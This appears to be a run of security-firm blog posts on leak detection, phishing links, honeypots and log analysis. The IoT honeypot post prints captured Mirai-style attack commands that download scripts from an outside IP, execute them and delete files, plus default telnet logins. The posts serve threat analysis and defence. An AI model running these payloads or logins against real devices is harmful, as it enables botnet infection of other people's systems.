Detecting Info Leaks with ClawBack

Clawback smallClawBack Is Purpose Built to Detect Info Leaks

ClawBack is MicroSolved’s cloud-based SaaS solution for performing info leak detection. We built the tool because we worked so many incidents and breaches related to three common types of info leaks:

  • Leaked Credentials – this is so common that it lies at the root of thousands of incidents over the last several years, attackers harvest stolen and leaked logins and passwords and use them anywhere they think they can gain access – this is so common, it is even categorized by OWASP as a specific form of attack: credential stuffing 
  • Leaked Configurations – attackers love to comb through leaked device and application configuration files for credentials, of course, but also for details about the network or app environment, sensitive data locations, cryptographic secrets and network management information they can use to gain control or access
  • Leaked Code – leaked source code is a huge boon for attackers; often leaking sensitive intellectual property that they can sell on the dark web to your competitors or parse for vulnerabilities in your environment or products

MicroSolved knows how damaging these info leaks can be to organizations, no matter the type. That’s exactly why we built ClawBack to provide ongoing monitoring for the info leak terms that matter most to you.

How to Get Started Detecting Info Leaks

Putting ClawBack to work for you is incredibly easy. Most customers are up and monitoring for info leaks within 5 minutes.

There is no hardware, software, appliance or agent to deploy. The browser-based interface is simple to use, yet flexible enough to meet the challenges of the modern web. 

First, get a feel for some terms that you would like to monitor that are unique to your organization. Good examples might be unique user names, application names, server names, internal code libraries, IP address ranges, SNMP community strings, the first few hex characters of certificates or encryption keys, etc. Anything that is unique to your organization or at the very least, uncommon. 

Next, register for a ClawBack account by clicking here.

Once your account is created, and you follow the steps to validate it, you can login to the ClawBack application. Here, you will be able to choose the level of subscription that you would like, picking from the three different service levels available. You will also be able to input your payment information and set up additional team members to use the application, if available at your subscription level. 

Next, click on Monitoring Terms and input the terms that you identified in the first step. ClawBack will immediately go and search for any info leaks related to your terms as you put them in. Additionally, ClawBack will continually monitor for the terms going forward and provide alerts for any info leaks that appear in the common locations around the web. 

How To View Any Info Leaks

Reviewing any info leaks found is easy, as well. Simply click on Alerts on the top menu. Here, your alerts will be displayed, in a sortable list. The list contains a summary of each identified leak, the term it matched and the location of the leak. You can click on the alert to view the identified page. Once reviewed, you can archive the alert, where it will remain in the system and is visible in your archive, or you can mark it as a false positive, and it will be removed from your dataset but ClawBack will remember the leak and won’t alert you again for that specific URL. 

If you have access to the export function, based on your subscription level, you can also so export alerts to a CSV file for uploading into SIEM/SOAR tools or ticketing systems. It’s that easy! 

You can find a more specific walkthrough for finding code leaks here, along with some screen shots of the product in action.

You can learn more about ClawBack and view some use case videos and demo videos at the ClawBack homepage.

Give ClawBack a try today and you can put your worries to rest that unknown info leaks might be out there doing damage to your organization. It’s so easy, so affordable and so powerful that it makes worries about info leaks obsolete.

Introducing ClawBack :: Data Leak Detection Powered By MicroSolved

Cb 10We’ve worked with our clients and partners to put together a world-class data leak detection platform that is so easy to use that most security teams have it up and running in less than five minutes. No hardware appliance or software agent to deploy, no console to manage and, best of all, affordable for organizations of any size.

In short, ClawBack is data leak detection done right.

There’s a lot more to the story, and that’s why we put together this short (3 minute) video to describe ClawBack, its capabilities and why we created it. Once you check it out, we think you’ll see just how ClawBack fits the mission of MSI to make the online world safer for all of us.

View the video here.

You can also learn a lot more about ClawBack, its use cases and some of the ways we hope it can help you here. On that page, you can also find pricing for three different levels of service, more videos walking you through how to sign up and a video demo of the platform.

Lastly, if you’d like to just get started, you can visit the ClawBack Portal, and select Register to sign up and put ClawBack to work immediately on providing detection for your leaked data.

In the coming weeks, we’ll be talking more about what drove us to develop ClawBack, the success stories we’ve had just while building and testing the platform, and provide some more specifics about how to make the most of ClawBack’s capabilities. In the meantime, thanks for reading, check it out and if you have any questions, drop us a line.

State Of Security Podcast Episode 15 is out!

In this episode, the tables get turned on me and I become the one being interviewed. The focus is on honeypots, intrusion deception and bounces from technology to industry and to overall trends.

This is a great conversation with an amazing young man, Vale Tolpegin, a student from Georgia Tech with an amazing style and a fantastic set of insights. He really asks some great questions and clarifying follow ups. This young man has a bright future ahead!

Tune in and check it out! Let me know on Twitter (@lbhuston) what you liked, hated or what stuck with you.

How to Respond – BEC Series #5

A few weeks ago, we published the Business Email Compromise (BEC) Checklist. The question arose – what if you’re new to security, or your security program isn’t very mature?

Since the checklist is based on the NIST model, there’s a lot of information here to help your security program mature, as well as to help you mature as a security practitioner. MSI’s engineers have discussed a few ways to leverage the checklist as a growth mechanism.

Part 1 and Part 2 covered the first checkpoint in the list – Identify. Part 3 covered the next checkpoint – Protect. Part 4 continued the series – Detect.

Now we’ll move along to one of the most important parts of the checklist – Respond.

Continue reading

Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Verifying links before you get phished

Your Mom sends a funny cat video link on YouTube. Your department head sends a link for the training schedule. There’s an email in your Inbox from Amazon for a laptop sale.

Always think twice before clicking on any of those links. Is that email really from Mom or the department head or Amazon? Even if it was really from Mom’s account, is that link really for a cat video on YouTube? Her account, could have been compromised, and the email sent with an obfuscated link.

Phishing works

Phishing campaigns are effective; estimates range from 60 to 90% of all email is a phishing message. MicroSolved’s social engineering exercises have yielded from 11 to 43% success – success meaning recipients have clicked on the benign links in our phishing exercises for clients with their employees. Estimates average 30% of phishing links are clicked.

Obfuscated URL in an Email

So, never click on a link in an email. OK, that may be a little absolute. Only be certain that the link is what you expect it to be. Hover over the link and either a popup or in the status bar of your email client/browser will display the URL. Verify the domain in the link is valid. Simple link obfuscation techniques such as registering a domain named yuotube.com (note the spelling) is an easy phishing and effective trick.

Another trick is hiding the URL behind friendly text, for example, click here. This technique could easily have been used to create a link = stateofsecurity.com – but the the link actually browses to MicroSolved’s home page.

Image links are not immune. That Amazon logo in the email – does that really link to amazon.com? Hover over the link to verify the URL before you click on it. Or better yet, open your browser, type amazon.com in the address bar, then search for and browse to the laptop sale. By the way, don’t browse to yuotube.com, just take my word for it.

Similarly, while browsing or surfing the web, it is always good practice to verify links before you actually click on them. Hover and verify.

Check that browser address bar

So, now that you’ve clicked on that link and landed on the destination web page, are you sure that’s chase.com’s login page? Before you enter your bank account login credentials, check out the URL in the address bar. Make sure it’s https. Any URL that requires you to enter some identification should be over the encrypted protocol, https.

Next, just because the URL has chase.com within it, does not make it a valid chase.com page. Check out the two images below; phishers often trick their victims by obfuscating a URL with a string of an expected valid domain name in the URL:

Note that chase.com is part of the URL, but the login.html page is actually in the badbaddomain.com. The attackers are counting on users to notice the “chase.com” in the URL and click on their link. Once clicked, the user is to taken to a rogue web server with a login page that mimics the real login page for the bank. If the user continues with typing in their authentication credentials, the trap  has sprung – the rogue server has saved the user’s credentials, and the bank account will soon be drained of its funds. Often, after the user enters the credentials, they may be redirected to a valid 404 error page in the user’s bank server, and the user imay be a little confused but unaware that they’ve just given away their credentials.

Current browsers have a feature to help users pick out the actual domain name from the URL – in the top image, the Firefox address bar displays the domain name part of the URL in black font, and everything else in a gray colored font. This is the default behavior; the setting can be changed for the entire URL be the same color format.

Not all browsers display the URL in such a way, Chrome displays the same obfuscated URL as below; the domain and subdomains part of the URL are in black font and the sub-directories and page resource are in grey font:

Shortened URLs

Shortened URLs have become much more popular because of Twitter – it’s a method of reducing a long (regular) URL into a shortened version of usually 10-20 characters. However, because of the condensed URL, it’s not possible to determine the actual address of the link. In this case, it would be wise to copy the shortened URL and validate it with a URL expander website, such as checkshorturl.com or unfurlr.com or unshorten.it.

It’s a minefield out there. Attackers are constantly phishing for their next victim. Be vigilant, beware of what you click, surf safe.

Sources:

https://blog.barkly.com/phishing-statistics-2016

Worm detection with HoneyPoint Security Server (HPSS): A real world example

This post describes a malware detection event that I actually experienced a few short years ago.

My company (Company B) had been acquired by a much larger organization (Company A) with a very large internal employee desktop-space. A desktop-space larger than national boundaries.

We had all migrated to Company A  laptops – but our legacy responsibilities required us to maintain systems in the original IP-space of company B.  We used legacy Company B VPN for that.

I had installed the HPSS honeypoint agent on my Company A laptop prior to our migration into their large desktop space.  After migration I was routinely VPN’ed into legacy Company B space, so a regular pathway for alerts to reach the console existed.

After a few months, the events shown in the diagram below occurred.

I started to receive email alerts directed to my Company B legacy email account. The alerts described TCP 1433 scans that my Company A laptop was receiving.  The alerts were all being thrown by the MSSQL (TCP 1433 – Microsoft SQL Server) HoneyPoint listener on my laptop.

I was confused – partly because I had become absorbed in post-acquisition activities and had largely forgotten about the HPSS agent running on my laptop.

After looking at the emails and realizing what was happening, I got on the HPSS console and used the HPSS event viewer to get details. I learned that the attackers were internal within Company A space. Courtesy of HPSS I had their source IP addresses and the common payload they all delivered.  Within Company A I gathered information via netbios scans of the source IPs.  The infected machines were all Company A laptops belonging to various non-technical staff on the East Coast of the U.S.

All of that got passed on to the Company A CIO office. IDS signatures were generated, tweaked, and eventually the alerts stopped.  I provided payload and IP information from HPSS throughout the process.

I came away from the experience with a firm belief that company laptops, outfitted with HoneyPoint agents, are an excellent way of getting meaningful detection out into the field.

I strongly recommend you consider something similar. Your organization’s company laptops are unavoidably on the front-line of modern attacks.

Use them to your advantage.

 

 

Revisiting Nuance Detection

The core of nuance detection is to extend alerting capabilities into finding situations that specifically should not exist, and if they happen, would indicate a significant security failure. A simple, elegant example would be a motion sensor on a safe in your home, combined with something like your home alarm system.
 
A significant failure state would be for the motion sensor inside the safe to trigger while the home alarm system is set in away mode. When the alarm is in away mode, there should be no condition that triggers motion inside the safe. If motion is detected, anytime, you might choose to alert in a minor way. But, if the alarm is set to away mode, you might signal all kinds of calamity and flashing lights, bells and whistles, for example.
 
This same approach can apply to your network environment, applications or data systems. Define what a significant failure state looks like, and then create detection and alerting mechanisms, even if conditional, for the indicators of that state. It can be easy. 
 
I remember thinking more deeply about this for the first time when I saw Marcus Ranum give his network burglar alarm speech at Defcon, what seems like a 1000 years ago now. That moment changed my life forever. Since then, I have always wanted to work on small detections. The most nuanced of fail states. The deepest signs of compromise. HoneyPoint™ came from that line of thinking, albeit, many years later. (Thanks, Marcus, you are amazing! BTW.) 🙂
 
I’ve written about approaches to it in the past, too. Things like detecting web shells, detection in depth techniques and such. I even made some nice maturity and deployment models.
 
This month, I will be revisiting nuance detection more deeply. Creating some more content around it, and speaking about it more openly. I’ll also cover how we have extended HoneyPoint with the Handler portion of HoneyPoint Agent. in order to fully support event management and data handling into your security alerting systems from basic scripts and simple tools you can create yourself. 
 
Stay tuned, and in the meantime, drop me a line on Twitter (@lbhuston) and let me know more about nuance detections you can think of or have implemented. I’d love to hear more about it. 

Last Quick and Dirty Log Tip for the Week

OK, so this week I posted two other blog posts about doing quick and dirty log analysis and some of the techniques I use. This one also covers converting column logs to CSV.

After the great response, I wanted to drop one last tip for the week. 

Several folks asked me about re-sorting and processing the column-based data in different ways and to achieve different analytical views. 

Let me re-introduce you to my friend and yours, sort.

In this case, instead of using the sort -n -r like before (numeric sort, reverse order), we can use:

  • sort -k# -n input_file (where # is the number of the column you’d like to sort by and the input file is the name of the file to sort)
    • You can use this inline by leveraging the pipe (|) again – i.e.: cat input.txt | sort -k3 -n (this types the input file and sends it to sort for sorting on the third column in numeric order) (-r would of course, reverse it…)
    • You can write the output of this to a file with redirects “> filename.txt”, i.e.: cat input.txt | sort -k3 -n -r > output.txt
      • You could also use “>>” as the redirect in order to create a file if it doesn’t exist OR append to a file if it does exist… i.e..:  cat input.txt | sort -k3 -n -r >> appended_output.txt

That’s it! It’s been a fun week sharing some simple command line processing tips for log files. Drop me a line on Twitter (@lbhuston) and let me know what you used them for, or which ones are your favorite. As always, thanks and have a great weekend! 

Quick And Dirty Log Analysis Followup

Earlier this week, I posted some tips for doing Quick and Dirty PA Firewall Log Analysis.

After I posted this, I got a very common question, and I wanted to answer it here.

The question is something along the lines of “When I use the techniques from your post, the outputs of the commands are column separated data. I need them to be CSV to use with my (tool/SEIM/Aunt Gracie/whatever). How can I convert them?” Sound familiar?

OK, so how do we accomplish this feat of at the command line without all of the workarounds that people posted, and without EVER loading Excel? Thankfully we can use awk again for this.

We can use:

  • awk ‘BEGIN { OFS = “,”} ; {print $1,$2,$3}’
    • Basically, take an input of column data, and print out the columns we want (can be any, in this case I want the first 3 columns), and make the outputs comma delimited.
    • We can just append this to our other command stacks with another pipe (|) to get our output CSV
  • Example: cat log.csv | awk ‘BEGIN { FS = “,”} ; {print $8,$9}’ | sort -n | uniq -c | sort -n -r | awk ‘BEGIN { OFS = “,”} ; {print $1,$2,$3}’
    • In this example, the source IP and destination IP will be analyzed, and the reduced to unique pairs, along with the number of times that that pair is duplicated in the input log (I use this as a “hit rate” as I described earlier
      • A common question, why do I ask for two columns in the first awk and then ask for three columns in the second awk?
        • The answer of course, is that the first awk prints the unique pairs, but it also adds a column of the “hit rate”, so to get the output appropriately, I need all three fields.

So, once again, get to know awk. It is your friend.:)

PS – Yes, I know, there are hundreds of other ways to get this same data, in the same format, using other command line text processing tools. Many may even be less redundant than the commands above. BUT, this is how I did it. I think it makes it easy for people to get started and play with the data. Post your ways to Twitter or share with the community. Exploration is awesome, so it will encourage users to play more. Cool! Hit me on Twitter if you wanna share some or talk more about this approach (@lbhuston).

Thanks for reading!